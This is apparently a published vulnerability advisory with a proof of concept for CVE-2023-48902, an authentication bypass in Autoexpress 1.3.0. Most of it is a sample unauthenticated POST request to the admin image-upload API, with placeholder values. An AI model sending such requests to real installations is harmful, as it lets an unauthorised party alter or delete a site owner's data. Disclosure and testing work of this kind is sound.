Tramyardg Autoexpress 1.3.0 Authentication Bypass Vulnerability

# Exploit Title: tramyardg autoexpress - Authentication Bypass
# Exploit Author: Scott White
# Vendor Homepage: https://github.com/tramyardg/autoexpress
# Version: v1.3.0
# Tested on: Ubuntu 22.04.3 LTS + Apache/2.4.52
# CVE : CVE-2023-48902

# References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-48902
https://www.cve.org/CVERecord?id=CVE-2023-48902

# Description:
Autoexpress 1.3.0 allows for authentication bypass via unauthenticated API access to admin functionality. This could allow a remote anonymous attacker to delete or update vehicles as well as upload images for vehicles.

# Proof of Concept:
+ Go to "http://localhost/autoexpress"
+ Craft POST request to /autoexpress/admin/api/uploadCarImages.php within BurpSuite (Repeater)

# Sample Request
POST /autoexpress/admin/api/uploadCarImages.php HTTP/1.1
Host: localhost
Content-Length: 17016
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary9juDWgTa5YsjE2YR
Origin: http://localhost
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundary9juDWgTa5YsjE2YR
Content-Disposition: form-data; name="files[]"; filename="image.jpeg"
Content-Type: image/jpeg

IMAGE_CONTENT

------WebKitFormBoundary9juDWgTa5YsjE2YR
Content-Disposition: form-data; name="id"

CAR_ID

------WebKitFormBoundary9juDWgTa5YsjE2YR
Content-Disposition: form-data; name="fd[]"

IMAGE_CONTENT_BASE64_ENCODED

------WebKitFormBoundary9juDWgTa5YsjE2YR

Content-Disposition: form-data; name="imgType[]"

data:image/jpeg;base64------WebKitFormBoundary9juDWgTa5YsjE2YR--